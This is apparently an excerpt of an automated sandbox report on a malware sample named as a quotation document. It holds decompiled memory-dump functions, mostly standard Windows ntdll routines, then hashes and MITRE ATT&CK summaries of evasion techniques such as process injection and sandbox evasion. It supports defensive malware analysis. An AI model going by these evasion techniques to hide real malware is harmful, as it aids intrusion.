				_t121 = 0;
				_t104 = _t101 + 0x2e;
				_v24 = 8;
				_v16 = _t104;
				if( *_t120 == 0) {
					__eflags =  *(_t120 + 2);
					if( *(_t120 + 2) != 0) {
						goto L1;
					}
					__eflags =  *(_t120 + 4);
					if( *(_t120 + 4) != 0) {
						goto L1;
					}
					__eflags =  *(_t120 + 6);
					if( *(_t120 + 6) != 0) {
						goto L1;
					}
					_t117 =  *(_t120 + 0xc) & 0x0000ffff;
					_v20 = _t117 >> 8;
					__eflags = _t117;
					if(_t117 == 0) {
						goto L1;
					}
					_t86 =  *(_t120 + 8) & 0x0000ffff;
					__eflags = _t86;
					if(_t86 != 0) {
						_v12 = 0xffff;
						__eflags = _t86 - _v12;
						if(_t86 != _v12) {
							goto L1;
						}
						__eflags =  *(_t120 + 0xa);
						if( *(_t120 + 0xa) != 0) {
							goto L1;
						}
						__eflags = _t104 - _t101;
						_push( *(_t120 + 0xf) & 0x000000ff);
						_push( *(_t120 + 0xe) & 0x000000ff);
						_push(_v20 & 0x000000ff);
						_t92 = E00A66B30(_t101, _t104 - _t101, "::ffff:0:%u.%u.%u.%u", _t117 & 0x000000ff);
						L29:
						return _t92 + _t101;
					}
					_t94 =  *(_t120 + 0xa) & 0x0000ffff;
					__eflags = _t94;
					if(_t94 == 0) {
						_t118 = 0x9f48a4;
						L27:
						_push( *(_t120 + 0xf) & 0x000000ff);
						_push( *(_t120 + 0xe) & 0x000000ff);
						_push(_v20 & 0x000000ff);
						_push( *(_t120 + 0xc) & 0xff);
						_t92 = E00A66B30(_t101, _t104 - _t101, "::%hs%u.%u.%u.%u", _t118);
						goto L29;
					}
					__eflags = _t94 - 0xffff;
					if(_t94 != 0xffff) {
						goto L1;
					}
					_t118 = 0xa0d700;
					goto L27;
				}
				L1:
				_t105 = _t121;
				_t60 = _t121;
				_v8 = _t105;
				_v20 = _t60;
				if(( *(_t120 + 8) & 0x0000fffd) == 0) {
					__eflags =  *(_t120 + 0xa) - 0xfe5e;
					if( *(_t120 + 0xa) == 0xfe5e) {
						_v24 = 6;
					}
				}
				_t115 = _t121;
				_t102 = _t60;
				do {
					if( *((intOrPtr*)(_t120 + _t115 * 2)) == _t121) {
						__eflags = _t115 - _t60 + 1 - _v8 - _t102;
						_t60 = _v20;
						if(__eflags <= 0) {
							_t105 = _v8;
						} else {
							_t49 = _t115 + 1; // 0x1
							_t105 = _t49;
							_t102 = _t60;
							_v8 = _t105;
						}
					} else {
						_t13 = _t115 + 1; // 0x1
						_t60 = _t13;
						_v20 = _t60;
					}
					_t115 = _t115 + 1;
				} while (_t115 < _v24);
				_v12 = _t102;
				_t103 = _a8;
				if(_t105 - _t102 > 1) {
					_t65 = _v12;
				} else {
					_t105 = _t121;
					_t65 = _t121;
					_v8 = _t105;
					_v12 = _t65;
				}
				do {
					if(_t121 < _t105) {
						__eflags = _t65 - _t121;
						if(_t65 > _t121) {
							goto L9;
						}
						_push("::");
						_push(_v16 - _t103);
						_push(_t103);
						_t70 = E00A66B30();
						_t105 = _v8;
						_t122 = _t122 + 0xc;
						_t121 = _t105 - 1;
						goto L13;
					}
					L9:
					if(_t121 != 0 && _t121 != _t105) {
						_push(":");
						_push(_v16 - _t103);
						_push(_t103);
						_t73 = E00A66B30();
						_t122 = _t122 + 0xc;
						_t103 = _t103 + _t73;
					}
					_t70 = E00A66B30(_t103, _v16 - _t103, "%x",  *(_t120 + _t121 * 2) & 0x0000ffff);
					_t105 = _v8;
					_t122 = _t122 + 0x10;
					L13:
					_t116 = _v24;
					_t103 = _t103 + _t70;
					_t65 = _v12;
					_t121 = _t121 + 1;
				} while (_t121 < _t116);
				if(_t116 < 8) {
					_push( *(_t120 + 0xf) & 0x000000ff);
					_push( *(_t120 + 0xe) & 0x000000ff);
					_push( *(_t120 + 0xd) & 0x000000ff);
					_t103 = _t103 + E00A66B30(_t103, _v16 - _t103, ":%u.%u.%u.%u",  *(_t120 + 0xc) & 0x000000ff);
				}
				return _t103;
			}

0x00a17cc9
0x00a17cce
0x00a17cd1
0x00a17cd3
0x00a17cd6
0x00a17cdd
0x00a17ce3
0x00a72bbb
0x00a72bbf
0x00000000
0x00000000
0x00a72bc5
0x00a72bc9
0x00000000
0x00000000
0x00a72bcf
0x00a72bd3
0x00000000
0x00000000
0x00a72bd9
0x00a72be2
0x00a72be5
0x00a72be8
0x00000000
0x00000000
0x00a72bee
0x00a72bf2
0x00a72bf5
0x00a72c74
0x00a72c7b
0x00a72c7f
0x00000000
0x00000000
0x00a72c85
0x00a72c89
0x00000000
0x00000000
0x00a72c4b
0x00a72c4d
0x00a72c52
0x00a72c59
0x00a72c65
0x00a72c6d
0x00000000
0x00a72c6d
0x00a72bf7
0x00a72bfb
0x00a72bfe
0x00a72c15
0x00a72c1a
0x00a72c20
0x00a72c25
0x00a72c2c
0x00a72c34
0x00a72c3d
0x00000000
0x00a72c42
0x00a72c05
0x00a72c08
0x00000000
0x00000000
0x00a72c0e
0x00000000
0x00a72c0e
0x00a17ce9
0x00a17cee
0x00a17cf0
0x00a17cf2
0x00a17cf5
0x00a17cfc
0x00a72c96
0x00a72c9a
0x00a72ca0
0x00a72ca0
0x00a72c9a
0x00a17d02
0x00a17d04
0x00a17d06
0x00a17d0a
0x00a72cb6
0x00a72cb8
0x00a72cbb
0x00a72cca
0x00a72cbd
0x00a72cbd
0x00a72cbd
0x00a72cc0
0x00a72cc2
0x00a72cc2
0x00a17d10
0x00a17d10
0x00a17d10
0x00a17d13
0x00a17d13
0x00a17d16
0x00a17d17
0x00a17d1e
0x00a17d23
0x00a17d29
0x00a17d9f
0x00a17d2b
0x00a17d2b
0x00a17d2d
0x00a17d2f
0x00a17d32
0x00a17d32
0x00a17d35
0x00a17d37
0x00a72cd2
0x00a72cd4
0x00000000
0x00000000
0x00a72cdd
0x00a72ce4
0x00a72ce5
0x00a72ce6
0x00a72ceb
0x00a72cee
0x00a72cf1
0x00000000
0x00a72cf1
0x00a17d3d
0x00a17d3f
0x00a17d48
0x00a17d4f
0x00a17d50
0x00a17d51
0x00a17d56
0x00a17d59
0x00a17d59
0x00a17d73
0x00a17d78
0x00a17d7b
0x00a17d7e
0x00a17d7e
0x00a17d81
0x00a17d83
0x00a17d86
0x00a17d87
0x00a17d8e
0x00a72cfd
0x00a72d02
0x00a72d07
0x00a72d21
0x00a72d21
0x00000000

APIs

___swprintf_l.LIBCMT ref: 00A17D51
___swprintf_l.LIBCMT ref: 00A17D73
___swprintf_l.LIBCMT ref: 00A72C3D

Strings

:%u.%u.%u.%u, xrefs: 00A72D10
::%hs%u.%u.%u.%u, xrefs: 00A72C36
::ffff:0:%u.%u.%u.%u, xrefs: 00A72C5E
ffff:, xrefs: 00A72C0E, 00A72C35

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 9734ef126ec2c2b2535c655f78b13d215b1af1b7ea9f0f9c07ab0d53f8431a08
Instruction ID: e8dfcdffda1fb76640ac96613a356f64f45e2fb4f4e1e4ca3de835e3b49182e2
Opcode Fuzzy Hash: 9734ef126ec2c2b2535c655f78b13d215b1af1b7ea9f0f9c07ab0d53f8431a08
Instruction Fuzzy Hash: 7861B3B5A0411AABCB10DF98DD809BEF7B8FF58300760C26AE859D7641D774DE909BE0

Uniqueness

Uniqueness Score: -1.00%

Function 00A140FD, Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00A140FD(void* __ecx) {
				signed int _v8;
				char _v548;
				unsigned int _v552;
				unsigned int _v556;
				unsigned int _v560;
				char _v564;
				char _v568;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t49;
				signed char _t53;
				unsigned int _t55;
				unsigned int _t56;
				unsigned int _t65;
				unsigned int _t66;
				void* _t68;
				unsigned int _t73;
				unsigned int _t77;
				unsigned int _t85;
				char* _t98;
				unsigned int _t102;
				signed int _t103;
				void* _t105;
				signed int _t107;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t112;

				_t45 =  *0xb0d360 ^ _t107;
				_v8 =  *0xb0d360 ^ _t107;
				_t105 = __ecx;
				if( *0xb084d4 == 0) {
					L5:
					return L00A5B640(_t45, _t85, _v8 ^ _t107, _t102, _t105, _t106);
				}
				_t85 = 0;
				E00A2E9C0(3,  *((intOrPtr*)(__ecx + 0x18)), 0, 0,  &_v564);
				if(( *0x7ffe02d5 & 0x00000003) == 0) {
					_t45 = 0;
				} else {
					_t45 =  *(_v564 + 0x5f) & 0x00000001;
				}
				if(_t45 == 0) {
					_v552 = _t85;
					_t49 = E00A142EB(_t105);
					__eflags = _t49;
					if(_t49 != 0) {
						L15:
						_t103 = 2;
						_v552 = _t103;
						L10:
						__eflags = ( *0x7ffe02d5 & 0x0000000c) - 4;
						if(( *0x7ffe02d5 & 0x0000000c) == 4) {
							_t45 = 1;
						} else {
							_t53 = E00A141EA(_v564);
							asm("sbb al, al");
							_t45 =  ~_t53 + 1;
							__eflags = _t45;
						}
						__eflags = _t45;
						if(_t45 == 0) {
							_t102 = _t103 | 0x00000040;
							_v552 = _t102;
						}
						__eflags = _t102;
						if(_t102 != 0) {
							L33:
							_push(4);
							_push( &_v552);
							_push(0x22);
							_push(0xffffffff);
							_t45 = L00A596C0();
						}
						goto L4;
					}
					_v556 = _t85;
					_t102 =  &_v556;
					_t55 = E00A1429E(_t105 + 0x2c, _t102);
					__eflags = _t55;
					if(_t55 >= 0) {
						__eflags = _v556 - _t85;
						if(_v556 == _t85) {
							goto L8;
						}
						_t85 = _t105 + 0x24;
						L00AA5720(0x55, 3, "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v556);
						_v560 = 0x214;
						E00A5FA60( &_v548, 0, 0x214);
						_t106 =  *0xb084d4;
						_t110 = _t108 + 0x20;
						 *0xb0b1e0( *((intOrPtr*)(_t105 + 0x28)),  *((intOrPtr*)(_t105 + 0x18)),  *((intOrPtr*)(_t105 + 0x20)), L"ExecuteOptions",  &_v568,  &_v548,  &_v560, _t85);
						_t65 =  *((intOrPtr*)( *0xb084d4))();
						__eflags = _t65;
						if(_t65 == 0) {
							goto L8;
						}
						_t66 = _v560;
						__eflags = _t66;
						if(_t66 == 0) {
							goto L8;
						}
						__eflags = _t66 - 0x214;
						if(_t66 >= 0x214) {
							goto L8;
						}
						_t68 = (_t66 >> 1) * 2 - 2;
						__eflags = _t68 - 0x214;
						if(_t68 >= 0x214) {
							L00A5B75A();
							goto L33;
						}
						_push(_t85);
						 *((short*)(_t107 + _t68 - 0x220)) = 0;
						L00AA5720(0x55, 3, "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v548);
						_t111 = _t110 + 0x14;
						_t73 = E00A61480( &_v548, L"Execute=1");
						_push(_t85);
						__eflags = _t73;
						if(_t73 == 0) {
							L00AA5720(0x55, 3, "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v548);
							_t106 =  &_v548;
							_t98 =  &_v548;
							_t112 = _t111 + 0x14;
							_t77 = _v560 + _t98;
							_v556 = _t77;
							__eflags = _t98 - _t77;
							if(_t98 >= _t77) {
								goto L8;
							} else {
								goto L27;
							}
							do {
								L27:
								_t85 = E00A61150(_t106, 0x20);
								__eflags = _t85;
								if(__eflags != 0) {
									__eflags = 0;
									 *_t85 = 0;
								}
								L00AA5720(0x55, 3, "CLIENT(ntdll): Processing section info %ws...\n", _t106);
								_t112 = _t112 + 0x10;
								L00A93E13(_t105, _t106, __eflags);
								__eflags = _t85;
								if(_t85 == 0) {
									goto L8;
								}
								_t41 = _t85 + 2; // 0x2
								_t106 = _t41;
								__eflags = _t106 - _v556;
							} while (_t106 < _v556);
							goto L8;
						}
						_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
						_push(3);
						_push(0x55);
						L00AA5720();
						goto L15;
					}
					L8:
					_t56 = E00A141F7(_t105);
					__eflags = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					_t103 = _v552;
					goto L10;
				} else {
					L4:
					 *(_t105 + 0x34) =  *(_t105 + 0x34) | 0x80000000;
					goto L5;
				}
			}

0x00a1410d
0x00a1410f
0x00a1411c
0x00a1411e
0x00a14158
0x00a14168
0x00a14168
0x00a14126
0x00a14130
0x00a1413c
0x00a704a2
0x00a14142
0x00a1414b
0x00a1414b
0x00a1414f
0x00a1416b
0x00a14171
0x00a14176
0x00a14178
0x00a141d0
0x00a141d2
0x00a141d3
0x00a141a7
0x00a141ae
0x00a141b0
0x00a141db
0x00a141b2
0x00a141b8
0x00a141bf
0x00a141c1
0x00a141c1
0x00a141c1
0x00a141c3
0x00a141c5
0x00a141df
0x00a141e2
0x00a141e2
0x00a141c7
0x00a141c9
0x00a70628
0x00a70628
0x00a70630
0x00a70631
0x00a70633
0x00a70635
0x00a70635
0x00000000
0x00a141c9
0x00a1417d
0x00a14183
0x00a14189
0x00a1418e
0x00a14190
0x00a704a9
0x00a704af
0x00000000
0x00000000
0x00a704b5
0x00a704c8
0x00a704d5
0x00a704e5
0x00a704ea
0x00a704f6
0x00a70518
0x00a7051e
0x00a70520
0x00a70522
0x00000000
0x00000000
0x00a70528
0x00a7052e
0x00a70530
0x00000000
0x00000000
0x00a7053b
0x00a7053d
0x00000000
0x00000000
0x00a70545
0x00a7054c
0x00a7054e
0x00a70623
0x00000000
0x00a70623
0x00a70556
0x00a70557
0x00a7056f
0x00a70574
0x00a70583
0x00a7058a
0x00a7058b
0x00a7058d
0x00a705b5
0x00a705c0
0x00a705c6
0x00a705c8
0x00a705cb
0x00a705cd
0x00a705d3
0x00a705d5
0x00000000
0x00000000
0x00000000
0x00000000
0x00a705db
0x00a705db
0x00a705e3
0x00a705e7
0x00a705e9
0x00a705eb
0x00a705ed
0x00a705ed
0x00a705fa
0x00a705ff
0x00a70606
0x00a7060b
0x00a7060d
0x00000000
0x00000000
0x00a70613
0x00a70613
0x00a70616
0x00a70616
0x00000000
0x00a7061e
0x00a7058f
0x00a70594
0x00a70596
0x00a70598
0x00000000
0x00a7059d
0x00a14196
0x00a14198
0x00a1419d
0x00a1419f
0x00000000
0x00000000
0x00a141a1
0x00000000
0x00a14151
0x00a14151
0x00a14151
0x00000000
0x00a14151

Strings

CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 00A705AC
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 00A70566
ExecuteOptions, xrefs: 00A7050A
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 00A704BF
CLIENT(ntdll): Processing section info %ws..., xrefs: 00A705F1
Execute=1, xrefs: 00A7057D
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 00A7058F

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: aae56e526458800f12d761e5f242466e163786cb56d2462ab68bd878d3d6cf7d
Instruction ID: d7f07cc0db9ff24a1fec7a8b010f1e46759b3f20542887ebf33efe48545cd9b7
Opcode Fuzzy Hash: aae56e526458800f12d761e5f242466e163786cb56d2462ab68bd878d3d6cf7d
Instruction Fuzzy Hash: 62612A71A0021DBADF10DBA8DD86FFA73B9AF58304F144199E609A7181EB709EC5CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00A51CC7, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 193
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00A51CC7(void* __ebx, intOrPtr* __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t91;
				intOrPtr _t95;
				short _t96;
				intOrPtr _t104;
				intOrPtr _t111;
				short _t119;
				signed int _t131;
				intOrPtr _t134;
				intOrPtr _t138;
				intOrPtr* _t144;
				intOrPtr* _t147;
				intOrPtr* _t149;
				void* _t151;

				_t139 = __edx;
				_push(0x154);
				_push(0xaf0348);
				E00A6D0E8(__ebx, __edi, __esi);
				 *(_t151 - 0xf0) = __edx;
				_t147 = __ecx;
				 *((intOrPtr*)(_t151 - 0xfc)) = __ecx;
				 *((intOrPtr*)(_t151 - 0xf8)) =  *((intOrPtr*)(_t151 + 8));
				 *((intOrPtr*)(_t151 - 0xe8)) =  *((intOrPtr*)(_t151 + 0xc));
				 *((intOrPtr*)(_t151 - 0xf4)) =  *((intOrPtr*)(_t151 + 0x10));
				 *((intOrPtr*)(_t151 - 0xe4)) = 0;
				 *((intOrPtr*)(_t151 - 0xdc)) = 0;
				 *((intOrPtr*)(_t151 - 0xd8)) = 0;
				 *(_t151 - 0xe0) = 0;
				 *((intOrPtr*)(_t151 - 0x140)) = 0x40;
				E00A5FA60(_t151 - 0x13c, 0, 0x3c);
				 *((intOrPtr*)(_t151 - 0x164)) = 0x24;
				 *((intOrPtr*)(_t151 - 0x160)) = 1;
				_t131 = 7;
				memset(_t151 - 0x15c, 0, _t131 << 2);
				_t144 =  *((intOrPtr*)(_t151 - 0xe8));
				_t91 = E00A32430(1, _t147, 0,  *((intOrPtr*)(_t151 - 0xf8)), _t144,  *((intOrPtr*)(_t151 - 0xf4)), _t151 - 0xe0, 0, 0);
				_t148 = _t91;
				if(_t91 >= 0) {
					if( *0xb08460 != 0 && ( *(_t151 - 0xe0) & 0x00000001) == 0) {
						_t95 = E00A32D50(7, 0, 2,  *((intOrPtr*)(_t151 - 0xfc)), _t151 - 0x140);
						_t148 = _t95;
						if(_t95 < 0) {
							goto L1;
						}
						if( *((intOrPtr*)(_t151 - 0x13c)) == 1) {
							if(( *(_t151 - 0x118) & 0x00000001) == 0) {
								if(( *(_t151 - 0x118) & 0x00000002) != 0) {
									 *(_t151 - 0x120) = 0xfffffffc;
								}
							} else {
								 *(_t151 - 0x120) =  *(_t151 - 0x120) & 0x00000000;
							}
							_t134 =  *((intOrPtr*)(_t151 - 0x114));
							_t96 =  *((intOrPtr*)(_t134 + 0x5c));
							 *((short*)(_t151 - 0xda)) = _t96;
							 *((short*)(_t151 - 0xdc)) = _t96;
							 *((intOrPtr*)(_t151 - 0xd8)) =  *((intOrPtr*)(_t134 + 0x60)) +  *((intOrPtr*)(_t151 - 0x110));
							 *((intOrPtr*)(_t151 - 0xe8)) = _t151 - 0xd0;
							 *((short*)(_t151 - 0xea)) = 0xaa;
							_t104 = L00A24720(_t139,  *(_t151 - 0xf0) & 0x0000ffff, _t151 - 0xec, 2, 0);
							_t148 = _t104;
							if(_t104 < 0 || L00A29660(_t151 - 0xdc, _t151 - 0xec, 1) == 0) {
								goto L1;
							} else {
								_t149 =  *0xb08460; // 0x74e0ff90
								 *0xb0b1e0( *(_t151 - 0x120),  *(_t151 - 0xf0), _t151 - 0xe4);
								_t148 =  *_t149();
								 *((intOrPtr*)(_t151 - 0xd4)) = _t148;
								if(_t148 < 0) {
									goto L1;
								}
								_t111 =  *((intOrPtr*)(_t151 - 0xe4));
								if(_t111 == 0xffffffff) {
									L25:
									 *((intOrPtr*)(_t151 - 4)) = 1;
									_t144 =  *0xb08468;
									if(_t144 != 0) {
										 *0xb0b1e0(_t111);
										 *_t144();
									}
									 *((intOrPtr*)(_t151 - 4)) = 0xfffffffe;
									goto L1;
								}
								E00A2F540(_t151 - 0x164, _t111);
								 *((intOrPtr*)(_t151 - 4)) = 0;
								if( *((intOrPtr*)(_t144 + 4)) != 0) {
									L00A32400(_t144);
								}
								_t145 =  *((intOrPtr*)(_t151 - 0xfc));
								_t148 = E00A32430(0,  *((intOrPtr*)(_t151 - 0xfc)), 0,  *((intOrPtr*)(_t151 - 0xf8)), _t144,  *((intOrPtr*)(_t151 - 0xf4)), _t151 - 0xe0, 0, 0);
								 *((intOrPtr*)(_t151 - 0xd4)) = _t148;
								if(_t148 < 0) {
									L24:
									 *((intOrPtr*)(_t151 - 4)) = 0xfffffffe;
									_t111 = L00A8D704();
									goto L25;
								} else {
									_t148 = E00A32D50(7, 0, 2, _t145, _t151 - 0x140);
									 *((intOrPtr*)(_t151 - 0xd4)) = _t148;
									if(_t148 < 0) {
										goto L24;
									}
									if( *((intOrPtr*)(_t151 - 0x13c)) == 1) {
										_t138 =  *((intOrPtr*)(_t151 - 0x114));
										_t119 =  *((intOrPtr*)(_t138 + 0x5c));
										 *((short*)(_t151 - 0xda)) = _t119;
										 *((short*)(_t151 - 0xdc)) = _t119;
										 *((intOrPtr*)(_t151 - 0xd8)) =  *((intOrPtr*)(_t138 + 0x60)) +  *((intOrPtr*)(_t151 - 0x110));
										if(L00A29660(_t151 - 0xdc, _t151 - 0xec, 1) == 0) {
											goto L24;
										}
										_t148 = 0xc0150004;
										L23:
										 *((intOrPtr*)(_t151 - 0xd4)) = _t148;
										goto L24;
									}
									_t148 = 0xc0150005;
									goto L23;
								}
							}
						}
						_t148 = 0xc0150005;
					}
				}
				L1:
				return E00A6D130(1, _t144, _t148);
			}

0x00a51cc7
0x00a51cc7
0x00a51ccc
0x00a51cd1
0x00a51cd6
0x00a51cdc
0x00a51cde
0x00a51ce7
0x00a51cf0
0x00a51cf9
0x00a51d01
0x00a51d09
0x00a51d0f
0x00a51d15
0x00a51d1b
0x00a51d2f
0x00a51d37
0x00a51d44
0x00a51d4c
0x00a51d55
0x00a51d68
0x00a51d78
0x00a51d7d
0x00a51d81
0x00a8d4e3
0x00a8d509
0x00a8d50e
0x00a8d512
0x00000000
0x00000000
0x00a8d51e
0x00a8d531
0x00a8d543
0x00a8d545
0x00a8d545
0x00a8d533
0x00a8d533
0x00a8d533
0x00a8d54f
0x00a8d555
0x00a8d559
0x00a8d560
0x00a8d570
0x00a8d57c
0x00a8d587
0x00a8d5a3
0x00a8d5a8
0x00a8d5ac
0x00000000
0x00a8d5ce
0x00a8d5e1
0x00a8d5e9
0x00a8d5f1
0x00a8d5f3
0x00a8d5fb
0x00000000
0x00000000
0x00a8d601
0x00a8d60a
0x00a8d6e1
0x00a8d6e1
0x00a8d6e4
0x00a8d6ec
0x00a8d6f1
0x00a8d6f7
0x00a8d6f7
0x00a8d730
0x00000000
0x00a8d730
0x00a8d618
0x00a8d61f
0x00a8d625
0x00a8d628
0x00a8d628
0x00a8d644
0x00a8d651
0x00a8d653
0x00a8d65b
0x00a8d6d5
0x00a8d6d5
0x00a8d6dc
0x00000000
0x00a8d65d
0x00a8d670
0x00a8d672
0x00a8d67a
0x00000000
0x00000000
0x00a8d682
0x00a8d68b
0x00a8d691
0x00a8d695
0x00a8d69c
0x00a8d6ac
0x00a8d6c8
0x00000000
0x00000000
0x00a8d6ca
0x00a8d6cf
0x00a8d6cf
0x00000000
0x00a8d6cf
0x00a8d684
0x00000000
0x00a8d684
0x00a8d65b
0x00a8d5ac
0x00a8d520
0x00a8d520
0x00a8d4e3
0x00a51d87
0x00a51d8e

Strings

$, xrefs: 00A51D37
@, xrefs: 00A51D1B

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: $$@
API String ID: 0-1194432280
Opcode ID: 7bccfc79ae875a19fbb01b1581abfa5ad4755b28554a1ba50934f0f0feaa131c
Instruction ID: 351838979b7e898828a0d332fcd0973bbe4e7436bf33c8fa2cc418774686ffb4
Opcode Fuzzy Hash: 7bccfc79ae875a19fbb01b1581abfa5ad4755b28554a1ba50934f0f0feaa131c
Instruction Fuzzy Hash: C5811772D00269ABDB25DF54CD45BEEB7B8AB09714F0441EAA90DB7280E7705E85CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AAFDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00AAFDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = L00A5CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				L00AA5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return L00AA5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x00aafdda
0x00aafde2
0x00aafde5
0x00aafdec
0x00aafdfa
0x00aafdff
0x00aafe0a
0x00aafe0f
0x00aafe17
0x00aafe1e
0x00aafe19
0x00aafe19
0x00aafe19
0x00aafe20
0x00aafe21
0x00aafe22
0x00aafe25
0x00aafe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00AAFDFA

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 00AAFE01
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 00AAFE2B

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 8450b5c59ca4d8497f15a1edff2d2e58d60486d0c398ff573a9e38aa778ce993
Instruction ID: 910e455111a69d8b8af75ac2cc0b27ebdce503809dccb35f03805d19378c1c70
Opcode Fuzzy Hash: 8450b5c59ca4d8497f15a1edff2d2e58d60486d0c398ff573a9e38aa778ce993
Instruction Fuzzy Hash: 39F0F632600601BFEA241A95DD06F37BF6AEB45730F240715F628565E1EA62F82097F4

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

